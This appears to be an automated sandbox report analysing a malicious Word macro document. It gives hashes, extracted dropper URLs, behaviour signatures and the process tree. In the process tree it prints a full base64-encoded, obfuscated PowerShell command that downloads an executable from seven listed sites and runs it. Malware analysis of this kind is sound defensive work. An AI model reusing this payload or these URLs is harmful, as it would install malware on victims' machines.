Analysis
-
max time kernel
54s -
max time network
17s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
-
submitted
20-11-2024 21:09
General
-
Target
dfde7333bf1e1496475bae5462fd5bbc3c1cb32f48d4289ba1202c62962a1a43.doc
-
Size
223KB
-
MD5
788528655c447bf2ba012ac7300d10fa
-
SHA1
52203fb658426f5077836c4a8cf9e8e36c3b74b0
-
SHA256
dfde7333bf1e1496475bae5462fd5bbc3c1cb32f48d4289ba1202c62962a1a43
-
SHA512
c7bc72db66535ddd0600d3662341fb496ea7f9269be0bc27f6fe49850e830c4f5e5a6304e0bc1c642640f360dd63bb479cdab1957af0231c5b2204eeb572513e
-
SSDEEP
3072:Zz4PrXcuQuvpzm4bkiaMQgAlSazbSphmq4P:ZMDRv1m4bnQgISAepgqm
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://marmolhi.com/_vti_bin/0nNKKlWZ4/
exe.dropper
https://comerciopuravida.com/wp-admin/qqUV32Q/
exe.dropper
http://www.closmaq.com.br/wp-admin/nc/
exe.dropper
http://pulseti.com/isla/61D/
exe.dropper
https://hotelunique.com/teste/oxda9J0BvF/
exe.dropper
http://greensync.com.br/aspnet_clientOld/Xyicd/
exe.dropper
http://muabannodanluat.com/wp-admin/css/colors/kIxtL8/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 6 IoCs
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\dfde7333bf1e1496475bae5462fd5bbc3c1cb32f48d4289ba1202c62962a1a43.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -en JABPAGcAOABiAHcAMgByAD0AKAAnAFMAJwArACgAJwAyACcAKwAnAGUAOQAzAGIAXwAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAUgBQAHIAbwBGAGkAbABlAFwATgBOAF8AVgBEADAAMABcAFcAOAA3AGMAVQBaAEYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAcgBgAGkAYABUAFkAYABQAFIAbwB0AE8AYwBPAEwAIgAgAD0AIAAoACgAJwB0AGwAJwArACcAcwAxADIALAAnACkAKwAoACcAIAB0AGwAcwAnACsAJwAxADEAJwApACsAKAAnACwAJwArACcAIAB0ACcAKQArACcAbABzACcAKQA7ACQARgBkAGgAZAB2AHYAXwAgAD0AIAAoACcAQgBzACcAKwAoACcAeABnACcAKwAnADQAbQBlACcAKQArACcAaQAnACkAOwAkAFYANwBjADEANgBtAHUAPQAoACgAJwBFAHQAJwArACcAbwB5ACcAKQArACcAOQAnACsAJwBjADQAJwApADsAJABGAHEAMgAzAF8AdwA5AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHIAQQAnACsAJwBDACcAKwAoACcATgAnACsAJwBuAF8AdgBkACcAKwAnADAAMAAnACsAJwByAEEAQwBXADgAJwArACcANwBjAHUAegBmACcAKwAnAHIAJwApACsAJwBBAEMAJwApAC4AIgByAGUAcABgAGwAQQBDAEUAIgAoACgAWwBjAGgAQQBSAF0AMQAxADQAKwBbAGMAaABBAFIAXQA2ADUAKwBbAGMAaABBAFIAXQA2ADcAKQAsAFsAUwB0AHIASQBuAGcAXQBbAGMAaABBAFIAXQA5ADIAKQApACsAJABGAGQAaABkAHYAdgBfACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQATwA3AG0ANgBiAGYANQA9ACgAJwBKAGIAJwArACgAJwBjAGMAJwArACcAMAAnACkAKwAnAGkAaQAnACkAOwAkAFYAcgBvAGUAcgBtAHMAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AVwBFAEIAQwBMAEkAZQBOAHQAOwAkAEEAeAB5AG0AYQBfAGUAPQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8AJwArACcALwBtAGEAcgAnACkAKwAoACcAbQBvACcAKwAnAGwAaABpAC4AYwBvAG0ALwAnACsAJwBfACcAKwAnAHYAJwApACsAJwB0ACcAKwAnAGkAXwAnACsAKAAnAGIAJwArACcAaQBuAC8AMABuAE4ASwAnACsAJwBLACcAKQArACcAbABXACcAKwAnAFoAJwArACgAJwA0AC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAJwArACcAcABzADoAJwArACcALwAvAGMAbwBtACcAKQArACgAJwBlAHIAYwAnACsAJwBpAG8AcAAnACsAJwB1AHIAYQB2ACcAKwAnAGkAJwArACcAZABhACcAKQArACcALgAnACsAKAAnAGMAbwBtACcAKwAnAC8AdwAnACsAJwBwAC0AYQAnACsAJwBkAG0AaQBuAC8AJwApACsAKAAnAHEAJwArACcAcQBVACcAKQArACcAVgAzACcAKwAoACcAMgAnACsAJwBRAC8AJwApACsAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8AJwArACcALwAnACkAKwAoACcAdwAnACsAJwB3AHcAJwApACsAKAAnAC4AYwBsAG8AJwArACcAcwAnACkAKwAnAG0AYQAnACsAJwBxAC4AJwArACgAJwBjAG8AbQAnACsAJwAuAGIAJwApACsAJwByACcAKwAoACcALwB3AHAALQBhACcAKwAnAGQAJwArACcAbQBpAG4AJwApACsAJwAvAG4AJwArACgAJwBjACcAKwAnAC8AKgAnACkAKwAoACcAaAB0ACcAKwAnAHQAJwApACsAKAAnAHAAJwArACcAOgAvAC8AcAB1ACcAKwAnAGwAcwBlACcAKQArACgAJwB0AGkAJwArACcALgBjAG8AJwApACsAKAAnAG0AJwArACcALwBpACcAKQArACcAcwBsACcAKwAoACcAYQAvADYAMQBEAC8AJwArACcAKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAcwAnACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGgAJwApACsAKAAnAG8AdABlACcAKwAnAGwAdQBuAGkAJwArACcAcQAnACkAKwAoACcAdQBlACcAKwAnAC4AJwApACsAJwBjAG8AJwArACcAbQAvACcAKwAoACcAdABlACcAKwAnAHMAdABlAC8AbwB4ACcAKQArACgAJwBkAGEAOQAnACsAJwBKACcAKQArACgAJwAwACcAKwAnAEIAdgAnACkAKwAnAEYALwAnACsAJwAqACcAKwAoACcAaAB0ACcAKwAnAHQAcAA6AC8ALwBnACcAKwAnAHIAZQAnACkAKwAoACcAZQBuAHMAJwArACcAeQBuAGMAJwArACcALgBjACcAKwAnAG8AJwApACsAKAAnAG0ALgBiACcAKwAnAHIAJwApACsAJwAvAGEAJwArACgAJwBzAHAAbgAnACsAJwBlACcAKQArACcAdAAnACsAJwBfAGMAJwArACcAbAAnACsAKAAnAGkAZQAnACsAJwBuACcAKQArACcAdAAnACsAKAAnAE8AbAAnACsAJwBkACcAKQArACgAJwAvAFgAeQBpAGMAZAAnACsAJwAvACcAKQArACgAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoAJwArACcALwAvAG0AdQBhAGIAJwApACsAKAAnAGEAJwArACcAbgAnACsAJwBuAG8AJwArACcAZABhAG4AbAB1AGEAdAAnACkAKwAoACcALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAnACkAKwAoACcALQBhAGQAbQBpAG4ALwAnACsAJwBjAHMAcwAvAGMAJwArACcAbwAnACkAKwAnAGwAJwArACcAbwByACcAKwAoACcAcwAvACcAKwAnAGsAJwApACsAJwBJAHgAJwArACcAdABMACcAKwAnADgALwAnACkALgAiAHMAUABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUgB2ADQANgBwAHoANgA9ACgAJwBPACcAKwAoACcAXwAnACsAJwB3AHQAJwApACsAKAAnAHYANgAnACsAJwBkACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARABiAGYAZgB0ADQAOAAgAGkAbgAgACQAQQB4AHkAbQBhAF8AZQApAHsAdAByAHkAewAkAFYAcgBvAGUAcgBtAHMALgAiAEQAYABvAHcAbgBsAGAATwBBAEQAZgBpAGAAbABFACIAKAAkAEQAYgBmAGYAdAA0ADgALAAgACQARgBxADIAMwBfAHcAOQApADsAJABWAGwAaQBxADMAbwBwAD0AKAAoACcAQgBmAG4ANQAnACsAJwBqACcAKQArACcAcwBfACcAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABGAHEAMgAzAF8AdwA5ACkALgAiAGwAYABFAGAATgBnAHQASAAiACAALQBnAGUAIAAzADgAMwA5ADYAKQAgAHsAJgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAoACQARgBxADIAMwBfAHcAOQApADsAJABJAF8AbgBrADkAcQA3AD0AKAAnAFgAawAnACsAKAAnAGMAdAAnACsAJwBsAG0AcwAnACkAKQA7AGIAcgBlAGEAawA7ACQAUQBpAHgAYQA0AGwAawA9ACgAJwBEADUAJwArACgAJwBqAG0AYgAnACsAJwBmAGQAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFMAaQBqADYAMgBmADgAPQAoACgAJwBKAG8AJwArACcANgAnACkAKwAoACcAZABuACcAKwAnAGUAMQAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
32KB
-
Filesize
2.9MB